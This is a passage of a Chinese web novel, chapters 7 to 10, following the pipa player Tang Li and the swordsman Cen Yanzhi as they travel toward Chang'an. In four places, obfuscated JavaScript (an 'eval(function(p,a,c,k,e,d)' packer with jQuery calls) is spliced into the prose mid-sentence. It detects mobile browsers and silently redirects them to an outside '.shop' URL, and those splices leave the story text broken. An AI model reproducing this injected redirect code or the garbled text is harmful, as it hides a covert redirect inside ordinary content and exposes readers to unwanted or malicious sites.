;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岑燕之无法,这价格是金城的好几倍,若是买下实在是太亏,没办法,他转头离开,决定到下个镇子上再买些,况且伤口情况并不是很重。 棠鲤这边看着岑燕之离去,就跟身边的大马,开始大眼瞪小眼。 百无聊赖之际,发现身边一位年迈的老妇人正带着一小孙女守着摊子,神色还有些焦急,棠鲤好奇地看了一眼她卖的东西——是一些没见过的果子。 看着老人家衣衫有些破旧,很不容易的样子便开口询问了价钱,一文钱两个,不贵,但没有人买,看着果子的成色,再加上阴雨天气,若是放两日,必定会坏掉…… 棠鲤给了四文钱,只拿了四个,老妇人又是欣喜又是片要将剩下两个果子塞给棠鲤,棠鲤拗不过她,只得又踹在袖子里。 看着来来往往的旅人,却没人愿意停下看看。 思来想去,棠鲤解下身后的琵琶,摆好姿势,在小孙女好奇的神色中,悠悠弹了几个音—— 孩子对待没见过的事物充满了好奇,在老妇人怀中伸着脖子看过来,当然,不少旅人也听到声音纷纷驻足…… 棠鲤确定了音色没有问题,便拉下兜帽,摆好姿势…… 待到岑燕之再次回到棠鲤的位置,却发现这里里外围了不少人,正当他疑惑之际,一阵阵琵琶的铮鸣之声传入耳廓…… 一曲终了,人群不由得纷纷喝彩,他耳力极好,又听到女子熟悉的声音从人群中传出来:“诸位路途中是否口渴?不若买些果子解解乏?只要一文钱两个。” 什么? 7. 同屋眠 等待众人慢慢散去,岑燕之才得以回到棠鲤面前,就看见棠鲤怀中抱着个小女娃,女娃手中还拿着个果子,正喂着自己的马儿…… 看到马儿吃了果子后,小女娃开心地拍手笑着,棠鲤将孩子放了下来。 “多谢小娘子!不然老妇一人如何卖得这些果子……”老妇人眼角含泪紧紧地握着棠鲤的手连连道谢。 棠鲤也安慰着老妇人,老妇人手掌粗糙,定是平日常常劳作,想来必是生活艰难。岑燕之在一旁解开马儿的缰绳,也听明白了刚刚发生的事情。 她倒是好心,真是对所有人都这么热情…… 看着棠鲤姣好的面容和纤纤玉手,不知怎的,岑燕之竟然想起来从前在长安远远瞧见过的那些贵妇人,她们举手投足间总显露出许多骄矜与高贵,甚至常常以扇掩面,极是吝啬将目光投向不及自己的人,更别提像棠鲤这般能做出与人如此亲近的样子了…… 棠鲤看到岑燕之回来,也忘记问他“草料”买得如何,知道得快些上路,便装好琵琶,与站立着的两人道别。 “小娘子要去哪呀?天色不早了,若是不嫌弃,可以去老妇家中将就一晚,一碗热粥老妇家中还是有的。”老妇人牵着孙女儿,也看出来他们带着的行囊,有些许担忧地开口问着。 “老妇姓何,夫家姓刘。家就在前头不远处……”许是怕棠鲤两人担忧,开口介绍自己。 听到能借宿一晚,棠鲤其实有些心动,比起可能会宿在驿舍或者逆旅通铺,她宁愿借宿人家,于是看着身边的男人的神情,询问的目光显露无遗。 岑燕之察觉到了棠鲤投来的目光询问,思考片刻后还是点了点头,早些休息也好,身上里衣还有些湿,能早些烤干也好。 “那便叨扰您了……” 听闻小娘子答应了,何老妇人眼见着喜悦起来,一旁抓着裤腿的小孙女儿也开心地频频看向棠鲤和一旁的高头大马,甚至还想伸手去摸摸马儿的嘴。 岑燕之见状:“……” 随后两人跟着何老妇人离开官道又走了一段路,来到了一处小村落。这处村子明显没有刚才那个村子富庶,好一些的房子是土坯垒起来的,差一点只能用茅草搭一下,秋天快要过去,不知冬天来了该如何御寒? “老头子啊!把之前姑娘住过的的堂屋收拾出来吧!今晚有客住!”何老妇人带着小孙女儿还未到院门口,就冲着屋里喊道,不多时,一年纪与她不相上下的老伯单手拄着拐杖从屋中慢慢走出,应该就是何老妇人所说的夫家刘老伯。 刘老伯没多说什么,看了一眼棠鲤两人,就默默地将小院中的桌椅拾掇干净,“坐吧做吧,休息休息!”何老妇人许是习惯了自家老伴儿沉默寡言的模样,倒是配合着邀请棠鲤和岑燕之坐下。 “如今家中就老妇我和老头子两人带着小孙女儿,靠着几口薄田和给村中人做些木工过活,哎……没什么好招待的……”何老妇人给两人倒上了两碗水后,倒有些羞意在一旁。 棠鲤看着自己面前与岑燕之面前不太一样的碗,就知道了——两只碗都很破旧,大小不一,但估计这已经是他们能拿出来招待客人用的最好的器具了。院中一应物品简朴,除了这桌椅板凳之外,在墙上还挂着一身蓑衣,墙角处放着一些木头和刨具,刘老伯招待完他们后就走到墙角那里,坐在凳上再次刨起木头来。 “无妨,您客气了。我们只歇一晚,明日一早还要赶路。”岑燕之率先端起水碗,泯了一口水后说道,棠鲤也附和着安慰何老妇人。 日暮将近,棠鲤本想帮着何老妇人一起准备夕食,但拗不过她,只好自己在院中练练琵琶,这几日总在奔波,没有太多时间练习。 没过多久,何老妇人从灶台后向坐在院中的棠鲤喊道:“棠小娘子!饭好啦,快去叫你阿兄回来吃饭吧!方才他去屋后头的溪边喂马去了……” 阿兄?哦,是说岑燕之,棠鲤放下琵琶,按照何老妇人所说,从屋后绕过去,没走多远,就到了小溪边,此时即将入冬,周围没有太多树丛遮蔽视线,是以绕过小路,就看见流水潺潺的溪边,枣红色的马儿在一旁悠闲地饮水吃草,另一边一男子坐在溪边石头上解开衣袖,露出半个臂膀,背对着棠鲤的方向…… 棠鲤愣住了,此时她距离溪边不过十几步远…… 她第一次看见男子的肌肤,并不白皙,却是很健康的颜色,精壮的上身肌肉随着男人的动作起伏贲张,线条流畅如猎豹般,充满韧性。就像前世在时尚杂志上看到的模特一样…… 棠鲤意识到自己看得太久时,是岑燕之察觉到了有人的视线才回过头来。他本来以为又是村中的孩童,结果竟是棠鲤…… 这女子…… 岑燕之小心避开腰腹处的伤口,穿好衣服,拿起放在一旁的佩刀挂在马鞍上,牵起马儿向棠鲤所站的位置走过来。 近到眼前时,棠鲤知道自己有些冒犯,开口道歉,“我不是故意偷看你的,快用夕食了,我来叫你。” 谁成想男人没有理会自己的意思,径直从身边牵着马走过…… 生气了?不会吧……大男人被看了一个肩膀就这么吃亏?远远又从后瞥见男人的耳尖有些泛红,大冷天的,洗澡不冷才怪,耳朵都冻红了。 用过夕食后,何老妇人带着两人到了院中另一边的小屋前,“这处是我儿从军前与他媳妇儿两口子住的屋,儿媳妇儿早些年去了,如今儿子也从军已有五载,屋子就一直空着……我刚刚打扫干净了,住这儿吧。” “谢谢您,已经很好了!”棠鲤谢过她后先进了屋,将包裹跟琵琶放在床边,岑燕之在门口顿了一下,也抬脚进来。 何老妇人看看棠鲤和岑燕之,笑着说:“那你们兄妹俩就好好歇息。”说罢便转身出了屋子。 岑燕之看着棠鲤径直走到床边铺着床被的样子,绷着的嘴角再也忍不住开口:“兄妹?” 棠鲤闻声抬头看他,眼神清澈,“何妇人是这么认为的,我觉得多解释反而更不清楚……就由着她了。” 岑燕之看着她不说话,余光扫过屋中仅有的一方床榻后,更是晦暗不明。 棠鲤哪猜不出他的想法,连忙开口安慰:“床一人一半吧,中间隔一下就行,天气也冷了,就和衣而睡……” 岑燕之抬脚走到床边的桌子旁,将腰间的佩刀取下,放在桌子上,金属碰撞在木桌上,发出略微沉重的声响,他坐在凳子上,胳膊搭在桌子上,手指点着桌面,看着现在床榻前的女子,声音有些许不悦:“为何这般放心?我们非亲非故,共处一屋,你没觉不妥?” 他的声音一如既往的低沉好听,但此时棠鲤听着也知道他有些生气。 “当然不妥,我也知岑少侠在想什么。你看——”棠鲤敛起神情,只是小心拿起床边的琵琶盒,慢慢打开—— “我于此间仅一把陪伴多年的琵琶,除此之外再无他物!唯一的夙愿就是去往长安,为此经历再多苦也是值得的。” 此时日已西沉,月亮东升,月光透过窗户纸,照着琵琶上镶嵌的螺钿幽幽泛着银光……女子姣好的面容藏在这银光之后,撞进岑燕之的眼底。 “再多的苦?”原本坐在窗边的男人,听着棠鲤的话,似是触动了什么,猛地起身逼近,仅做两三步就站在棠鲤面前,略微滚烫的气息与雪松的香气扑向她,充满侵略性地充斥着鼻孔和神经。 棠鲤是第二次离岑燕之如此之近,第一次他携慷慨之义救了自己,那时她根本就没有想那么多有关男女大防的心思,但今天不同…… 直到此刻,她好像才真正看透岑燕之不悦的理由……而且,她被他突然的动作吓着了…… 眼泪一下子涌出眼眶,这半个月来受过的委屈一下子全部毫不留情地爆发出来,让面前的男人一下子没了锋芒,周身气息立马软了下来,面上的不悦消失的一干二净,更多的是抱歉与小心,语气也在自己未察觉间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“儿臣听从父兄指挥。”赵铮抱拳行礼,依旧恭恭敬敬。 “得了!我岂不知你心中所想!偷着乐呢!”魏王看着自己这个儿子事不关己高高挂起的样子,气不打一出来,好像前段时日极力劝他早做打算的人不是他一样。 赵铮没有说话,抬头看向自己的父亲,等候他的吩咐。 “一个太监、一个宠妃,再加一个不满十岁的稚童——玉生,你说对了,圣上年老昏庸了……”魏王靠坐在椅子上,无奈叹息,遥想当年那个满怀英气的男人早就化作泡影,他仿佛看见病榻上那个苟延残喘天命的无能老人……令人可悲! “父可是决定好了?”赵铮将信件叠好,重新装入封中,放在桌上。 “我已让京中旧部暗中联系太子殿下,其他太子党的王侯重臣也应当开始行动了。你大兄坐镇京中魏王府不能动,你且去太极宫,想想办法,暗中见一见太子殿下,我们必须心里要先有个数。去吧……”魏王挥挥手,赵铮恭敬行礼,再次推门出去,轻手关上房门。 拐过回廊处,手下几个谋士围了上来,“公子?王爷如何说?” “父王同意了,按原来谋划,择日前往太极宫。对了,简星岩呢?叫他随我一同。”谋士们还未来得及开心,听到赵铮的吩咐,纷纷皱了皱眉头。 “同从前一样,又是半个月未出屋了,我等这就去找他,必是还未睡……” “这次是又在研究什么神药?” “听说是什么青什么素的,不知所云……” 赵铮也不意外,笑道:“随他去,届时若他不愿出门,还是像上次一样绑了就行,交给你们了。”说罢,负手而去。 他走过点满烛火的连廊,眼中映出的火光流转,抬首仰望——乌云散开,月出其中,乱世将至,谁人不想分一杯羹? 8. 缺银钱 话说棠鲤和岑燕之两人告别刘何夫妇后,再次启程上路。 这次两人之间因着那晚的拌嘴而有些僵硬,岑燕之平时本就话不多,加之棠鲤的沉默应对,让两人之间的关系还不如初见之时。 连续几日,两人没有怎么好好地交谈过。 不过路过大些的城镇时,棠鲤去采买用品,岑燕之却意外地陪同。 这日,棠鲤跟在岑燕之身后,路过一处村落,这里的田间收成明显不好,就连她这个从来没有做过农活的人都能看出来——麦苗纷纷倒伏,地里的水汽还异常的多…… 棠鲤抬头看了看天,从在之前那个村子避雨时,她就听说已经到了秋收时候了,但环顾四周,地里劳作的只有零星几个妇女孩童和佝偻着背的老人,本应是在这个时节出大力气的青壮年却没怎么看见…… 她观察着,不知不觉慢下了脚步。 岑燕之本来牵着马在前面走,回头本想问问棠鲤要不要休息时,却发现人儿盯着一旁不远处的田地出神。 “棠鲤。” 听到有人在前面叫自己,她这才回过神,原来是岑燕之,不过她竟然没有叫自己“棠姑娘”…… 看着人小跑着走近,岑燕之询问的目光向棠鲤投去。 “没什么,只是在感叹罢了。”棠鲤笑笑,笑意中还带了些无奈。 “因为庄稼?” “你怎么知道?”棠鲤有些惊讶的看向岑燕之。 “因为你方才一直在看他们。”岑燕之正视着棠鲤的眼睛,他越来越看不透这个女子。 这段时间的相处下来,他发现此女缺乏很多常识,最近令他震惊的便是她分不清东南西北方位,那时他觉得:此女从前在家中大概过的是锦衣玉食的生活。 后面发现她不会生火,也印证了他的想法。 但现在他觉得可能不是,只听棠鲤一边向前走一边开口说道:“本来要秋收了,却一直在下雨,地里的农作物大多倒伏泡水,本来若是抢收,还能保存一二,但……” “但什么?”岑燕之突然很好奇她的想法。 “我没有看到青壮年在收庄稼。” 岑燕之面上没有表现什么,其实内心里大为震惊,她从前在家中虽说可能吃穿不愁,应当也读过书,若是家中殷实,可能还有请过西席,毕竟百姓劳作丰收,竟也能说出一二。 他自己出身世家,虽说到了他这一代已经门第不显,甚至难以重回祖上开疆拓土的荣光,但从小不缺吃食,到了年岁便告别亲人随师傅一同习文习武,直到以军功在朝中得了一官半职后,只觉得为家为国、建功立业才是正道,从未细细想过百姓之事…… 纵然每当夙夜难眠之时,总能回忆起两年前震惊朝野的长门之事,时常感叹唏嘘于孙大人的气节……如今朝中党争愈发激烈了……可如今他已无官身,又能做些什么呢? 金城太守是从前与他一样被党争牵连的同僚,一年前便被贬官到金城,仅半年就让金城大变模样,百姓生活面貌几乎能与中原大城相媲美。 那日金城之乱后他们在府衙书房长谈许久,最后临别之际,只记得昔日友人抚须长叹:“这天下,谁人能够独善其身?” 是啊,如今看来,谁人能够独善其身? “你怎么了?”棠鲤走着走着,发现岑燕之也看着田间模样,微微出神,便折返回来。 “那日劝你回家并非冒犯,实则……我不瞒你,朝中党争愈演愈烈,其中程度并非你能够所想。所以,越往长安,越发危险。”岑燕之看棠鲤急切想说什么,抬手示打断,接着道:“若是我们因为种种原因无法到长安呢?届时你当如何?” 棠鲤沉默了,这几天来,她边走边观察每一处路过的城镇,也想过这种情况并非没有发生的可能性…… “刘何夫妇的儿子从军五载至今仍未归乡……我也想过,最多两年,若是还未到长安,‘铸剑图’便给你。” “两年也好。”岑燕之笑了,他好像对棠鲤的回答并不意外,这女子坚持的事情,从未放弃过……“正好,我的恩师居于光州,送你到长安后,我顺路东去探望他老人家。” “如此甚好!” 两人之间的氛围终于再次变得轻松起来。 晚上时,他们赶在关坊前入了一座名叫寒州的大城,据岑燕之所说,过了寒州交通来往会更方便一些,届时他们可以寻个商队,这样便不用总是靠着双腿慢行,这么久的“徒步旅行”下来,棠鲤总算听到了好消息,再也不用在露宿荒野时听着狼嚎声入眠了!虽然仅有一次,但那晚她完全没有睡着,几乎是睁眼到天亮。 导致她第二天两眼肿着,还用兜帽裹了个严实。 第二日一早,岑燕之去市集巡向长安去的商队,棠鲤则背着琵琶在坊间穿梭。 现在的好消息是,后面多商队可以乘车马走,坏消息是——她余下的银钱不多了!越靠近长安中原,花销就越大,若是像这样在城中住好点的地方,则花销更贵。 开始棠鲤表示只要有个歇脚的地方就行,岑燕之就很莫名其妙地看了她一眼,带她到了城中一处驿所,棠鲤只从外远远瞅了一下,就不想进去。 “睡通铺吗……”她当时很是为难地看着岑燕之,男人没说什么,似是知道她会这样拒绝,二话没说就牵着马带她到了客栈。 付银钱时,棠鲤的心在滴血…… 所以,她想看看能否在这城中寻些挣钱之法。 起初,棠鲤去了茶馆,茶馆的夫妇看她一个女子,可能是不好多说什么,没有直接拒绝,但话里也很明确了:“小娘子呀,我们这是小本生意,客人来了就走的……” 棠鲤无法,离开了。 第二家是一个稍大些的食肆,门口来来往往的客人皆穿着好的料子,与人谈笑着进出。 这次总会有些机会了吧? 但还没进去就被门童拦住了,“姑娘,不好意思啊,我们这不接散乐。”说罢,在棠鲤疑惑的眼神中,他还像里面指了指,棠鲤便又叹气走开了…… 那些在厅堂中表演的歌舞伎们,个个身着华美的衣裙、头戴玉钿金花……反观自己,确实不太适合进去…… 就这样在坊间晃了一上午,感觉腹中饥饿,便在小巷子口花了个铜板买了个饼吃。 巷子内很安静,两边高墙紧挨,二楼凭栏处仅有几盏灯笼随风摇摆,巷子外人流攒动,很有些热闹。 啃完自己的饼后,棠鲤有些泄气,每当这个时候她就只会拿出琵琶自己调节一二。 转轴调弦,波动几下,确认音色没有问题后,弹了一曲…… 曲终,棠鲤将琵琶放进盒中,裹上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224388|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布袋,站起身伸了一个懒腰,谁承想,一抬头,就看见一锦衣美男子散着墨发,靠坐在栏杆旁,端着酒杯,姿态悠闲…… 嗯?棠鲤有些尴尬,收起没有伸完的懒腰,背起琵琶转身准备离去,却听到—— “小娘子琴技不错!我却未在寒州司坊听过你的琵琶。”美男子不光人美,相貌阴柔,就连声音也温柔好听,若是不回答他,似是自己的不是。 “我并非教坊乐妓,实为路过寒州……”棠鲤仰着头回答他。 男子放下酒杯,看向棠鲤,目光流转,开口道:“小娘子姓甚名谁?可有兴趣随我一道献技?” 入教坊?还是算了吧,听起来……有些害怕…… 棠鲤背好琵琶,叉手行礼,即将走远之际,却又听那栏杆处的美男子开口:“若是改变主意了,明日未时便到醉仙居寻苏公子……” 身后男人的声音越来越远,棠鲤出了巷子后没有多逛,直接回了客栈。 与岑燕之用夕食时也没有说话,自顾自的嚼着口中饭菜,岑燕之看着棠鲤心不在焉的样子,放下筷子,忍不住问:“今日发生何事了?” “啊,没什么,就是想些事情……我吃好了,先回房休息了……”棠鲤回到客房内,盯着琵琶出神,半响后下楼找了客栈中的仆妇烧水沐浴。 有多花了些钱……但自己好久没有好好洗过澡了……就奢侈这一回……就这一回……明天的话,先去醉仙居看看吧。 反观岑燕之这边,他今日除了去问过几个商队,心中大约已有数,明日再去问问,谈谈价钱…… 今日看棠鲤的样子,有些不对劲儿,今日太晚了,明天再问问她。 伸手拿过放在一旁的药,他脱下上衣,将药粉洒在腰腹处,小心地用棉布包好。今日除了去商队问过,他还去了趟城中的药铺,坐诊的大夫看过伤口后,捏着胡须摇了摇头,提笔写下一味药方,叮嘱到:“郎君这伤拖了些时日吧?” 岑燕之也不瞒着,点了点头。 老大夫,眉须皆白,皱着眉头,“年轻人,底子好,但后面不能再沾水了……老夫给你开几味药,回去吃几天。切记!伤口不可再沾水!若是引起高热!神仙难救!” 岑燕之听闻恭敬地行礼谢过。 第二日一早,他先去了商队谈好了去下一个城的价格,再次回到客栈,叫了仆妇去女客处叫棠鲤下楼,想把出发的时日定一下,谁承想,仆妇上去后不一会儿,又一个人下来,只说房中没人。 岑燕之有些纳闷,往常从未见她这么早出门,今日这是什么情况?他扶着佩刀,抿唇思索…… “客观说的是住二楼里间的那位姑娘?”客栈掌柜的记忆颇好,对来往客人都有些印象,尤其是棠鲤面貌美丽,他第一眼就记了个十分。 “正式,掌柜的知道?”岑燕之听到掌柜开口,便走到柜前询问。 那掌柜也记得此游侠儿,两人一起来的客栈住店,似是一同出行的,倒也没瞒着:“姑娘早些时候就背着包袱下楼,问了跑堂的店小二‘醉仙居’在哪处,便自己出门了。” 说起来,小二子被那姑娘笑盈盈的面庞晃了眼,舌头直打结,说不出个所以然,还好他在一旁点账册,才接过话去告诉了那姑娘。 醉仙居?城中数一数二的酒楼,她去那里做什么? 9. 苏公子 棠鲤昨夜没怎么睡着,几乎是跟着坊市开启的鼓声一同醒来的。 她想了一夜,无非就是怕那人是个骗子,自己会遇到危险之类的…… 是以一早她就特地问了客栈掌柜,醉仙居是这寒城中数一数二的酒楼食肆,本地有头有脸的人家、南来北往的富商都会来此下榻。 昨日那个凭栏倚卧的美男子没准是这醉仙居的食客,总之,来看看,不对的话,再走! 眼下离未时实在还早,棠鲤背着琵琶在城中晃荡,甚至还在一棵大树下坐着看孩童们玩蹴鞠…… 这些小孩儿,玩得裤子都脏了……说起来,自从开始学乐器后,就没怎么像这样跟小区的朋友们在外面疯玩过了,那会儿在家写完作业后都是被逼着快些练琴,挺苦逼的。 但现在想来,能有一技之长傍身,真的是太好了。 风吹得有些冷,棠鲤不由得裹紧兜帽,此时身前街上一群穿着富贵的男女走过,身上披着狐裘大氅,或戴着手暖,看起来暖和极了。 若是后面有闲钱,自己还得添些冬衣了…… 快到未时了,棠鲤按照早上客栈掌柜的指引,一路找去,很快就到了独立坊间的五层食肆——醉仙居。 棠鲤观察着整座楼,泛着光的琉璃瓦下是层层繁复的雕梁画栋,每层檐角挂着的灯笼也精致无比,总之哪里都透着气派,一看便是有钱人消费的场所。 由于昨日就被一个看起来很高档的食肆拒绝入内了,所以今日她还是在门口踌躇了半响…… 就在她终于做好心理准备,迈步踏进时,一女子的声音从一旁传来:“小娘子可是苏公子约来的?” 一粉绿罗裙的女子笑眯眯地静立在侧门边,拢手看着棠鲤。 棠鲤点点头:“正是。” “小娘子可随奴来。”说罢摇手一指,在前方带路。 棠鲤略微停顿一秒,随后抓紧琵琶的背带,抬脚跟上。 从侧门进入后,她跟着女子进入了后院,在花园中七拐八拐,最终在一处独立的三层楼阁前停下。 “苏公子在楼上已等候小娘子多时,请。”那女子在楼阁前停下,说完后又侧身示意身后的楼梯,随后不等棠鲤开口致谢便叉手一礼款款离去。 看着人影渐渐远去消失在花园中,棠鲤抬头看向雕花精致的木楼梯,慢慢抬脚走上去。 棠鲤以为很难找到人询问“苏公子”的去处,谁承想刚上到二楼,穿过纱帐,映入眼帘的便是一个装饰华丽而古朴的房间,房间一侧摆满了琴架,各式各样的乐器在上面陈列着。 屋内角落里燃着不知何名的香料,房间里暖和异常,可能是烧了炭火。 棠鲤站在屋中间的织布地毯上,柔软的触感让她不禁回忆起与莫玥儿在毡帐内同坐一席的场景,嘴角不自觉地弯起。 “来了,坐。” 屋内屏风后,昨日那个美男子身着宽衣大氅踱步而入,坐在席榻的一边,示意棠鲤坐在对面。 入座后,棠鲤开口询问:“你便是苏公子?” 苏律没有抬头,缓缓挽起袖子,伸出白净的一双手侍弄着身前桌上的红泥茶炉,茶水恰逢时地烧开了,他将丝帕包着茶壶,倒入茶杯中,这才开口,却没有回答棠鲤的询问。 “我猜到了你会来,所以早早将茶水煮上。” 似是被看穿了所想一般,棠鲤陈默着。 两人一时无话,四周很安静,只有炉火烧着茶水,发出咕嘟咕嘟的声响。 “我叫苏律,受寒州太守府府官之命,将在明日入府献艺,如今暂住此处。”苏律终于开口,声音依旧温柔。 棠鲤闻之,想起来自己也没有介绍自己,连忙叉手行礼后开口:“我叫棠鲤,肃州而来……今日,多谢苏公子相邀。” 苏律将倒好茶水的茶盏放在棠鲤面前,回身坐好,随后看向被放在棠鲤身后的琵琶。 “你的琴技很好,想必已学多年。” “多谢苏公子称赞,我从小随姥爷……啊不,随外祖学了琴,长大后才又学了琵琶……”棠鲤第一次被同行这般直白地称赞,有些不好意思,回忆起幼时跟随姥爷学习古琴时的场景,甚觉怀念…… “棠小娘子并非乐籍,为何以乐谋生?”棠鲤看着苏律,有些惊讶,“你昨日在城中另一家酒楼碰壁,我看到了。”男子的玉手抬起茶盏,将茶水慢慢送入口中。 原来被他看见了……好尴尬啊……“当然是缺钱。”棠鲤也不想拐弯抹角的,事到如今她大概能猜出眼前这个叫苏律的男子的意图了…… 苏律昨日在楼上饮酒消愁时,被一阵技艺精湛的琵琶声吸引,推开门后,便看见一衣着朴素的小娘子抱着琵琶在空无一人的巷子中坐着,说起来,早些时候还在珍馐馆前看到过她,只不过那会儿她连进都没进去…… 他觉得有些意思。来到寒城第一日,他便为了太守府夜宴之事走遍了寒城教坊和乐馆,却没有找到任何一个让他满意的乐师,烦闷至极,没想到阴差阳错让他撞见了棠鲤…… 简单几句交谈后他发现,这女子实在是无甚教养,简单的礼节都做不标准,与男子共处一室丝毫不觉紧张、言语时也这般毫无避讳地直视他的眼睛…… 简直是…… 他自幼在西京的教坊长大,见过的达官贵人数不胜数,第一次见这样“坦诚”的女子,要不是技艺和相貌不错,倒真是让他有些不知如何应对…… 似是也没想到棠鲤的回答能如此直白,苏律也不准备铺垫了,直接询问棠鲤要不要随他一同去寒城太守府献技,报酬自然是有的。 棠鲤思索片刻,问了一下报酬几何,苏律抿了一口茶,回答了一个数。 棠鲤松了口气,是被吓到了,报酬真是丰富,接下来路途中住店和冬衣的事情也都有找落了! “既如此,休息片刻便开始排练吧,明日早些时候你也得来。” “好!”从前在大学时,棠鲤便被推荐偶尔参与一些小型商演,毕业后更是靠着自己的努力加入了乐团,虽然基本上没怎么在家待过但每月薪资可观。 苏律将夜宴的所有细节安排都向棠鲤讲了一遍,怕她记不住,所以还很贴心地给她写了出来。 两人一起在屋中排练许久。 本来苏律还对棠鲤有一些不放心,但发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224389|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此女虽然有些不同,但非常谦虚,不懂的地方也会礼貌询问,并且在他指导时非常认真倾听……这种感觉,是苏律以往不曾有过的。 “今日时辰不早了,明日巳时再来吧。”苏律看了看一旁的更漏,估摸了一下时间,开口道。 棠鲤看向窗外,这才发现已经过去了许久,话说今天她好像在外面待了一天,没有跟岑燕之打声招呼…… 她连忙起身,将琵琶收好。 “多谢苏公子!明日巳时我准时来。”说罢准备下楼。 “嗯。”苏律起身送她到门口,并没有下楼,棠鲤未觉不妥,行过一礼后快步下楼离去。 到了楼下,方才引路的女子正候在一旁,依旧笑眯眯地,还是不等棠鲤打招呼,便在前方带路…… 送走棠鲤后,若红回到小楼时,苏律正在调琴。 “送走了?” “公子放心。”若红回答道,进屋内收拾了一下桌案后,准备出去,却被叫住。 “明日劳你教她些礼节,不然在府衙可丢不起人。”苏律将琴放在琴架上,又翻开琴谱,一手执笔做标注。 若红回忆着棠鲤的样貌举止,似是想到了什么,以袖掩面笑着答应。 “还有,我们之间不用你这般客气,说来说去都是贱籍……”苏律沉着眉眼,有些让人看不清喜怒。 若红依旧弯着眼睫,看向坐在床边榻上的男子,“奴的性命是公子救的,能够伺候公子都是奴的福气。”说罢退出门去。 记得那会儿她才八岁吧?在西京的教坊为了逃避规训而无意间冲撞了贵人,就在即将被打死之际,是苏律公子携琴出现,救了她一命……不然她早就被裹着草席埋了吧? 毕竟,没有贵人的应允,贱籍几乎是无法在回良籍的,他们的身家性命,早在出生的那一刻起就注定了……但想怎样活着,是他们为数不多可以去为自己争取的,她是如此,苏公子也是如此…… 棠鲤记得回客栈的路,还好在暮鼓响尽之前回到了客栈。 此时客栈厅堂烛火大多都熄了,只有柜台边的一张桌前还点着一盏,一男子坐在灯前,似是在沉思。 棠鲤没过多注意,穿过厅堂便预备上楼,却被叫住。 “出去了一天,明日不打算走了?” 原来是岑燕之,方才棠鲤真没注意。 她走到桌前坐下,“今日有些事情,晚了一点,你找到商队了?” 岑燕之看着棠鲤的面容,烛火映衬下温温暖暖的,他撇开眼睛,“最早在后日有个商队要走,我们顺路,正好可以将我们捎上,银钱我问了,还算合适……” 他还未说完,就听棠鲤笑着开口:“正巧,明日我还有些事情,明日晚上我将商队的钱予你,今日不早了,我先回房休息啦!” 棠鲤站起身,走上楼梯,行到拐角处,探头又说:“岑少侠也早些休息吧!今日辛苦你了!” 留给岑燕之的只有个背着琵琶的背影,以及“噔噔噔”快速上楼的脚步声…… 按压下心中莫名的恼火,岑燕之也起身吹灭烛火,微沉着一张脸,扶着佩刀从另一侧大步上楼离去。 10. 妆镜台 第二日一早,岑燕之就坐在厅堂处,用过朝食后就等着棠鲤。 与他料想的时间差不多,棠鲤背着琵琶从楼下下来,看到岑燕之面对着楼梯而坐,便直接走过去。 “早啊!”打过招呼,岑燕之指了指一旁的座位,棠鲤便也坐下。 男人将烙饼和茶水一并放到她面前,棠鲤有些意外。毕竟她可没听说镖师走镖会请自己的主顾吃饭,往常在外用饭也都是棠鲤自觉地出了银钱。 “谢谢,正好饿了……”说罢,身后的琵琶也不取下来,直接伸手拿过烙饼吃了起来,果然这里很少能吃到口感细腻的面食…… “昨日去哪了?回得有些晚,坊门都快关了。” 来了,果然,她猜到他肯定会问。昨日回来的时候,棠鲤太过开心,虽然疑惑为什么那么晚了岑燕之也没回房歇息,但想到他可能有事情便没有与他多说,打过招呼后就上楼睡去了。 “唔……不瞒你说,我在坊里寻了个弹曲儿的生意,故昨日晚了……”棠鲤咽下饼,喝了一口茶水顺下。 岑燕之则听闻,皱了皱眉头,“今日也要去?” 他的声音听起来有些难辨喜怒,棠鲤一时之间摸不着头脑,大早上就生气吗? “今日自然也要去的,不然如何拿报酬?”棠鲤吃完站起身,不等岑燕之开口,便出门离去。 客栈的小二看这桌似是吃完了,正欲过来收拾碗筷,刚起步便被掌柜的拉住了:“去!那边儿的先收!这一桌放放……” 小二虽然疑惑,但掌柜的话他是听的。客栈掌柜可是人精儿,他可看出来了,这位少侠相貌英俊、身形伟岸令他也印象颇深,一早在堂中便点好了双份的吃食。自己的那份早早用过,另一份倒是放了许久,期间有些凉了还叫他拿去炉子上又热了两回。 直到同行的貌美小娘子下楼,这才眉头舒展……这不!刚说几句,那小娘子又急匆匆走了,这少侠又有些不甚开心…… 岑燕之发现自己不该如此,但还是得与棠鲤说好,若是她的安危无法保证,那自己想要的“铸剑图”就很难拿到。思及此处,他还是拿起佩刀,正欲追出门看看……谁承想竟遇上了从前朝中的同僚。 